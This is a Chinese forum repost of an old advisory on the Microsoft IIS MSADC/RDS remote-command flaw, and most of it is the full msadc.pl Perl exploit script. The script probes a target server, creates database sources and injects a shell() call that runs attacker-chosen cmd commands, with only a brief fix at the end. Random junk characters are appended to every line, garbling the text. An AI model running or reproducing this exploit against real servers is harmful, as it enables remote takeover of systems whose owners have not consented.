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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) _P9*78  
D@)L?AB1f  
涉及程序: I+/fX0-Lib  
Microsoft NT server :E.T2na  
im@QJ :  
描述: !;Vqs/E  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 X?.tj Z,  
8?LHYdJ  
详细: @xeJ$ rlu  
如果你没有时间读详细内容的话,就删除: )I"I[jDw  
c:\Program Files\Common Files\System\Msadc\msadcs.dll uvl>Z= "  
有关的安全问题就没有了。 %.WW-S3  
6xLQ  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 wpg7xx!  
Ot{~mMDp  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 5><T#0W?  
关于利用ODBC远程漏洞的描述,请参看: f0{j/+F_o  
DMA`Jx  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 3qkPe_<I  
7U!-_)n{  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 U%n>(!d  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp >U)>~SQf  
P~;1adi3  
这里不再论述。 "hnvND4=  
/\MkH\zg  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: .=zBUvy  
6^)eW+  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset {_4`0J`3  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! >en\:pJn)'  
On0,#i=  
<;*w97n  
#将下面这段保存为txt文件,然后: "perl -x 文件名" u6Yp ,!+  
TN/y4(j  
#!perl pM9M8d  
# S 3s6  
# MSADC/RDS 'usage' (aka exploit) script ji C2B  
# " u)e,gu  
# by rain.forest.puppy $Lz!04  
# (9{qT>eJg=  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me +g;{c+Kw:  
# beta test and find errors! LkWY6 ?$U  
z.^_;Vql_  
use Socket; use Getopt::Std; Fj46~#ZZ  
getopts("e:vd:h:XR", \%args); Q <ulh s  
ZK h4:D  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; .,f]'!5  
Z7I\\M  
if (!defined $args{h} && !defined $args{R}) { yL %88,/  
print qq~ VRTJKi  
Usage: msadc.pl -h <host> { -d <delay> -X -v } Z23T 2  
-h <host> = host you want to scan (ip or domain) [6Q1yNE  
-d <seconds> = delay between calls, default 1 second M)~sL1)  
-X = dump Index Server path table, if available -O\f y!  
-v = verbose b&6lu4D  
-e = external dictionary file for step 5 ^kke  
KA>QW[HX  
Or a -R will resume a command session @hwNM#>`  
<{j;']V;  
~; exit;} OC)=KV@KE  
`I8ep=VZ  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; vSR5F9  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} mkq246<D~  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} mWU d-|Ul  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); h]vEXWpG]  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} J%lrXm(l{  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Wt.['`c<  
7K1_$vd  
if (!defined $args{R}){ $ret = &has_msadc; Pif-uhOk%  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} xd\ml 37~  
L)qUBp@MW  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" }a;H2&bu  
. "cmd /c "; egAYJK-,!  
$in=<STDIN>; chomp $in; qcC(#0A>  
$command="cmd /c " . $in ; !<out4Mz"  
E;, __  
if (defined $args{R}) {&load; exit;} -d-xsP} s  
Q.fUpa v  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Q5A,9ovNZ  
&try_btcustmr; G'`^U}9V\  
"gFw:t"VV  
print "\nStep 2: Trying to make our own DSN...";  uAs!5h  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; (b.4&P"0  
UC j:]!P  
print "\nStep 3: Trying known DSNs..."; putRc??o;  
&known_dsn; ui-]%~  
^CgN>-xZ?#  
print "\nStep 4: Trying known .mdbs..."; MS:,I?  
&known_mdb; Dp4x\97O  
uzT+,  
if (defined $args{e}){ L9oLdWa(C  
print "\nStep 5: Trying dictionary of DSN names..."; 6&QOC9JW+7  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } Lq2jXy5#n  
`q`ah_  
print "Sorry Charley...maybe next time?\n"; zG{jRth  
exit; i'.D=o  
XMz*}B6GQ  
############################################################################## ?XeaoD/  
!pC`vZG"  
sub sendraw { # ripped and modded from whisker j#u{(W'r  
sleep($delay); # it's a DoS on the server! At least on mine... *>2e4j]  
my ($pstr)=@_; BHiG3fP  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || m WHyk"l  
die("Socket problems\n"); !p76I=H%  
if(connect(S,pack "SnA4x8",2,80,$target)){ 2%pU'D:  
select(S); $|=1; e tL?UF$  
print $pstr; my @in=<S>; |UB)q5I  
select(STDOUT); close(S); ;kWWzg  
return @in; p]<)6sZ  
} else { die("Can't connect...\n"); }} T]/5aA4  
VLVDi>0i  
############################################################################## JLz32 %-M  
a:OMI  
sub make_header { # make the HTTP request n^b CrvD  
my $msadc=<<EOT \RtFF  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 V(:wYk?ZR  
User-Agent: ACTIVEDATA 22;B:  
Host: $ip y^[t3XA6Q  
Content-Length: $clen 9_4(}|"N|  
Connection: Keep-Alive :pNS$g[  
.R#-u/6g(  
ADCClientVersion:01.06 U#bmMH  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 Ya> AI.!K  
[qxU \OSC  
--!ADM!ROX!YOUR!WORLD! Vf.*!`UH  
Content-Type: application/x-varg \B:k|Pw6~  
Content-Length: $reqlen OjNOvh&N  
~d3@x\I?  
EOT eo@8?>}{X  
; $msadc=~s/\n/\r\n/g; >ts}\.(]  
return $msadc;} R]o0V*n  
d`C$vj  
############################################################################## NFP h}D  
R*D5n>~  
sub make_req { # make the RDS request gK(G1  
my ($switch, $p1, $p2)=@_; U|{4=[  
my $req=""; my $t1, $t2, $query, $dsn; 1B:5O*I!J  
:R3iLy  
if ($switch==1){ # this is the btcustmr.mdb query *B \ @L  
$query="Select * from Customers where City=" . make_shell(); 6!?] (  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . Ekik_!aB  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} FFcIOn  
+'+ Nr<  
elsif ($switch==2){ # this is general make table query X y`2ux+>/  
$query="create table AZZ (B int, C varchar(10))"; Z:Vde^Ih  
$dsn="$p1";} iz)r.TJ  
]N;n q  
elsif ($switch==3){ # this is general exploit table query uMpuS1  
$query="select * from AZZ where C=" . make_shell(); +IWf~|s  
$dsn="$p1";} K :kb&W  
p_%,JD  
elsif ($switch==4){ # attempt to hork file info from index server c5uC?b].  
$query="select path from scope()"; 6k![v@2R  
$dsn="Provider=MSIDXS;";} xB[W8gQ6fa  
GmE`YW  
elsif ($switch==5){ # bad query H "5,To  
$query="select"; o3eaNYa  
$dsn="$p1";} )MLbE-@  
FCOa|IKsN  
$t1= make_unicode($query); %W$b2N{l  
$t2= make_unicode($dsn); .o5K X*  
$req = "\x02\x00\x03\x00"; BTYYp1  
$req.= "\x08\x00" . pack ("S1", length($t1)); hOkn@F.  
$req.= "\x00\x00" . $t1 ; ,grx'to(X  
$req.= "\x08\x00" . pack ("S1", length($t2)); ^^*L;b>I  
$req.= "\x00\x00" . $t2 ; i(.V`G=  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; A.@wGy4  
return $req;} _cC1u7U9  
1 0.Z Bfn  
############################################################################## r NKeY48\  
AWPgrv/  
sub make_shell { # this makes the shell() statement S8+l!$7   
return "'|shell(\"$command\")|'";} ya5HAs  
Iz83T9I&  
############################################################################## Q`6hJgyL  
~l?c.CS d  
sub make_unicode { # quick little function to convert to unicode N$v_z>6Z  
my ($in)=@_; my $out; _L` uC jA  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } u^B!6Sj8  
return $out;} Y0-?"R8  
+?ZP3vgGA  
############################################################################## %`K{0b  
Hmk xE  
sub rdo_success { # checks for RDO return success (this is kludge) x7G)^  
my (@in) = @_; my $base=content_start(@in); 7=yjd)Iy9m  
if($in[$base]=~/multipart\/mixed/){ );y ZyWDV  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} ,3iD/8_  
return 0;} 0v9i43[S|J  
n/ :#:  
############################################################################## =hd0Ui>x  
tZm`(2S  
sub make_dsn { # this makes a DSN for us l:bbc!3  
my @drives=("c","d","e","f"); e==/+  
print "\nMaking DSN: "; #Ef!X  
foreach $drive (@drives) {  qT #=C'?  
print "$drive: "; mF!4*k  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . %Tu(>vnuj  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" !.MbPPNp  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); a&2x;diF  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; EYZ&%.Sy5  
return 0 if $2 eq "404"; # not found/doesn't exist 64 'QTF{D  
if($2 eq "200") { =qoOr~  
foreach $line (@results) { zHg=K /  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 7HY8 F5Brx  
} return 0;} tS5J{j>T  
#G?#ot2o  
############################################################################## f*88k='\W  
y29G#Y4J  
sub verify_exists { @8w5Oudvx  
my ($page)=@_; vJct)i  
my @results=sendraw("GET $page HTTP/1.0\n\n"); _TmKn!Jw  
return $results[0];} 0_-o]BY  
iR PE0  
############################################################################## W1Fhx`  
y`5 ?  
sub try_btcustmr { >?)_, KL  
my @drives=("c","d","e","f"); YU`k^a7%  
my @dirs=("winnt","winnt35","winnt351","win","windows"); K>LS8,8V  
.iP>?9$f"  
foreach $dir (@dirs) { @Q{:m)\  
print "$dir -> "; # fun status so you can see progress nT2b"wkTT  
foreach $drive (@drives) { #`U?,>2q  
print "$drive: "; # ditto \CE+P5  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; R.l!KIq  
$reqlenlen=length( "$reqlen" ); 2 M\7j  
$clen= 206 + $reqlenlen + $reqlen; n@h$V\&\iM  
`F1Yfm jZT  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); yS:w>xU @<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} :w Y%=  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ahZ@4v  
lKU{jWA  
############################################################################## 6vxRam6[??  
WlY\R>x#  
sub odbc_error { n9 FA` e  
my (@in)=@_; my $base; 7\$b%A  
my $base = content_start(@in); cyP+a  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this xh CQ Rw  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; uPN^o.,/.  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; I![/bwObG  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; } _];yw  
return $in[$base+4].$in[$base+5].$in[$base+6];} e]ST0J"  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; TOgH~R=  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . 8tf>G(I{  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} ]]`[tVaFr  
Z,\(bW qF  
############################################################################## N%q{CYF6  
;14Q@yrZ0  
sub verbose { fhR u-  
my ($in)=@_; (E 8jkc  
return if !$verbose; :RZ'_5P[If  
print STDOUT "\n$in\n";} "\rO}(gC;`  
{M=B5-  
############################################################################## B-L@ 0gH  
Q>;Aq!mr=  
sub save { LkK[,Qj  
my ($p1, $p2, $p3, $p4)=@_; zL50|U0H  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; d!Ws-kzE  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; Yt:%)&50}-  
close OUT;}  r3OtQ  
`*yOc6i]  
############################################################################## _Gb 7n5p  
,1!Y!,xy  
sub load { W np[8IEU  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; X|g5tnsj`  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); qC& xuu|  
@p=<IN>; close(IN); 4DP<)KX  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); OI:=>Bk  
$target= inet_aton($ip) || die("inet_aton problems"); 0$Zh4Y  
print "Resuming to $ip ..."; +!`$(  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; Ln+ k_  
if($p[1]==1) { @m:' L7+  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; ~R=p[h)  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; Eg&Q,dH[  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); =z<sx2#*  
if (rdo_success(@results)){print "Success!\n";} `'mRGz7t  
else { print "failed\n"; verbose(odbc_error(@results));}} v$q\3#5|'  
elsif ($p[1]==3){ .{bT9Sc5  
if(run_query("$p[3]")){ :x3DuQP  
print "Success!\n";} else { print "failed\n"; }} i?#U>0!  
elsif ($p[1]==4){ I{H!K rM!  
if(run_query($drvst . "$p[3]")){ &Q\k`0vzVB  
print "Success!\n"; } else { print "failed\n"; }} [Q6$$z92Q  
exit;} 7~P!Z=m^^f  
$gk=~p|  
############################################################################## Aq(,  
6"rS?>W/mO  
sub create_table { FcOrA3tt  
my ($in)=@_; IsFL"Vx  
$reqlen=length( make_req(2,$in,"") ) - 28; ww%4MHPp8  
$reqlenlen=length( "$reqlen" ); ygQAA!&']  
$clen= 206 + $reqlenlen + $reqlen; cZrJW  
my @results=sendraw(make_header() . make_req(2,$in,"")); AGVipI #  
return 1 if rdo_success(@results); aK,\e/Oo  
my $temp= odbc_error(@results); verbose($temp); m{lS-DlRg  
return 1 if $temp=~/Table 'AZZ' already exists/; 6 {3ql:  
return 0;} 9NU-1vd~  
RJN LcIm  
############################################################################## o@} qPvt0  
HC>k/Gk"  
sub known_dsn { 4`r-*Lx  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go ashVV~\8A  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", 91T[@p  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", eR3MU]zF  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); +K;%sAZy  
RzLeR%O  
foreach $dSn (@dsns) { uIJ zz4  
print "."; Lr"`OzDz  
next if (!is_access("DSN=$dSn")); I;P!   
if(create_table("DSN=$dSn")){ $"=0{H.?  
print "$dSn successful\n"; w %6 L"  
if(run_query("DSN=$dSn")){ S|IDFDn  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { IZ.b  
print "Something's borked. Use verbose next time\n";}}} print "\n";} (51;cj>J  
IUh)g1u41O  
############################################################################## n.P $E  
Ye  >+  
sub is_access { )$2h:dw_  
my ($in)=@_; g%4=T~  
$reqlen=length( make_req(5,$in,"") ) - 28; n0^3F1Z  
$reqlenlen=length( "$reqlen" ); [ID#P Ule  
$clen= 206 + $reqlenlen + $reqlen; ;b, bHL  
my @results=sendraw(make_header() . make_req(5,$in,"")); 'w\Gd7E  
my $temp= odbc_error(@results); gaL.5_1  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); K5+ONA<c  
return 0;} 5Ak>/QF9  
]}_Ohe]X  
############################################################################## gGbqXG^  
/"1[qT\F  
sub run_query { OnE~0+  
my ($in)=@_; |X~vsM0  
$reqlen=length( make_req(3,$in,"") ) - 28; 6" . v6  
$reqlenlen=length( "$reqlen" ); <<1_rRL]  
$clen= 206 + $reqlenlen + $reqlen; ~~WX#Od*$  
my @results=sendraw(make_header() . make_req(3,$in,"")); 7{=+Va5  
return 1 if rdo_success(@results); !/e8x;_  
my $temp= odbc_error(@results); verbose($temp); r`:dUCFE  
return 0;} t@`Sa<  
;AarpUw'  
############################################################################## @=l.J+lh  
\3j4=K'nE  
sub known_mdb { l-[5Zl;"  
my @drives=("c","d","e","f","g"); @#5?tk0  
my @dirs=("winnt","winnt35","winnt351","win","windows"); (G{2ec:?  
my $dir, $drive, $mdb; ~$ 4!C'0  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; v%Su#xq/  
NbhQ-  
# this is sparse, because I don't know of many 6uWPIM;  
my @sysmdbs=( "\\catroot\\icatalog.mdb", #j"N5e}U  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ^c>ROpic  
"\\system32\\certmdb.mdb", AiV1 vD`  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% X,+N/ nku  
Otm7j>w  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", "I[u D)$  
"\\cfusion\\cfapps\\forums\\forums_.mdb", {_J1m&/  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", NUX2{8gs  
"\\cfusion\\cfapps\\security\\realm_.mdb", [\pp KC  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", H^w Inkf>  
"\\cfusion\\database\\cfexamples.mdb", l`AA<Rj*O-  
"\\cfusion\\database\\cfsnippets.mdb", Be0v&Q_NK  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", |DoD.?v  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ,#80`&\%  
"\\cfusion\\brighttiger\\database\\cleam.mdb", _,|N`BBqd  
"\\cfusion\\database\\smpolicy.mdb", a[V4EX1E  
"\\cfusion\\database\cypress.mdb", i}ti  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", GG`;c?d@  
"\\website\\cgi-win\\dbsample.mdb", =xHzhh  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", 7C^W<SUo  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" A)o%\j  
); #these are just f<2<8xS  
foreach $drive (@drives) { o}lA\A  
foreach $dir (@dirs){ Ns`:=  
foreach $mdb (@sysmdbs) { yvKKE  
print "."; 1|#j/  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ JuXuS  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; dw< b}2  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ !tv+,l&L  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; * n>YS  
} else { print "Something's borked. Use verbose next time\n"; }}}}} |K$EULzz  
14rX:z  
foreach $drive (@drives) { o7s<G8;?  
foreach $mdb (@mdbs) { 4B=@<( H  
print "."; VWE`wan<  
if(create_table($drv . $drive . $dir . $mdb)){ CZ/:(sOJ  
print "\n" . $drive . $dir . $mdb . " successful\n"; Zk 9i}H  
if(run_query($drv . $drive . $dir . $mdb)){ x?-kt.M  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; .&c!k1kH  
} else { print "Something's borked. Use verbose next time\n"; }}}} DP7B X^e  
} >W@3_{0  
>WW5;7$  
############################################################################## e!O:z   
n%:&N   
sub hork_idx { ;"D I)hd z  
print "\nAttempting to dump Index Server tables...\n"; &<S]=\  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; V']1j  
$reqlen=length( make_req(4,"","") ) - 28; u-#J!Z<T8  
$reqlenlen=length( "$reqlen" ); _,]@xFCOH  
$clen= 206 + $reqlenlen + $reqlen; 3!KEk?I]  
my @results=sendraw2(make_header() . make_req(4,"","")); }Fgp*x-G  
if (rdo_success(@results)){ &$E.rgtg  
my $max=@results; my $c; my %d; )u(Dqu\t  
for($c=19; $c<$max; $c++){ bmGtYv  
$results[$c]=~s/\x00//g; Eg|C  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; ZuQ\Pyx  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; W&Gt^5  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; &Kc'g H  
$d{"$1$2"}="";} u}IQ)Ma  
foreach $c (keys %d){ print "$c\n"; } 5QJ FNE  
} else {print "Index server doesn't seem to be installed.\n"; }} BpZ17"\z  
@k,}>Tk  
############################################################################## A**PGy.Ni  
N"o+;yR  
sub dsn_dict { @)p?!3{"  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); O_ /|Wx  
while(<IN>){ ~l>2NY  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; cvl1 X"  
next if (!is_access("DSN=$dSn")); 9q f=P3  
if(create_table("DSN=$dSn")){ ;tu2}1#r  
print "$dSn successful\n"; l>:\% ol  
if(run_query("DSN=$dSn")){ Cu +u'&U!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { F {T\UX  
print "Something's borked. Use verbose next time\n";}}} WL/9r *jW  
print "\n"; close(IN);} =5Auk 5&  
H@hHEzO  
############################################################################## h|t\rV^  
\mp5G&+/Q  
sub sendraw2 { # ripped and modded from whisker JPfE`NZ  
sleep($delay); # it's a DoS on the server! At least on mine... rCdf*;  
my ($pstr)=@_; i7(\i2_P  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || -$m?ShDd  
die("Socket problems\n"); Kw ^tvRt'*  
if(connect(S,pack "SnA4x8",2,80,$target)){ v"a.%" oN8  
print "Connected. Getting data"; CHRO9  
open(OUT,">raw.out"); my @in; esVZ2_eL  
select(S); $|=1; print $pstr; 3teanU`  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} =C.WM*='  
close(OUT); select(STDOUT); close(S); return @in; 4\%XC F!  
} else { die("Can't connect...\n"); }} [v$NxmRu  
#[{xEVf  
############################################################################## M~&X?/8  
}8cX0mZ1j  
sub content_start { # this will take in the server headers 6 C|]Fm  
my (@in)=@_; my $c; \9t6 #8  
for ($c=1;$c<500;$c++) { r@m2foaO  
if($in[$c] =~/^\x0d\x0a/){ FI$#x%A  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } ,"W.A  
else { return $c+1; }}} _z3YB  
return -1;} # it should never get here actually `Gp!Y  
\v}3j^Yu  
############################################################################## {b6g!sE  
/4Lmu+G4  
sub funky { f:-dw6a=s  
my (@in)=@_; my $error=odbc_error(@in); P7iU_CgyW  
if($error=~/ADO could not find the specified provider/){ 2i3& 3oz]O  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; pD>^Dfd  
exit;} K2GcU_*t  
if($error=~/A Handler is required/){ /o_h'l|PS  
print "\nServer has custom handler filters (they most likely are patched)\n"; 1"82JN|!  
exit;} Z/ypWoV(  
if($error=~/specified Handler has denied Access/){ _("&jfn  
print "\nServer has custom handler filters (they most likely are patched)\n"; )tV^)n[w  
exit;}} CxOBH89(  
uF=xo`=|  
############################################################################## GCgpe(cQ  
~t~5ctJ@  
sub has_msadc { mrfc.{`[  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); 'Na/AcRdg  
my $base=content_start(@results); k5@_8Rc  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); FiQx5}MMhu  
return 0;} 5E+k}S]M$  
Ay Obaa5  
######################## F^]?'`7md  
:tA|g  
Um$a9S8b&  
解决方案: ymsqJ   
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll d">Ya !W  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 e< Ee2pGX  
&\C{,:[  
拿出来充数 哈哈
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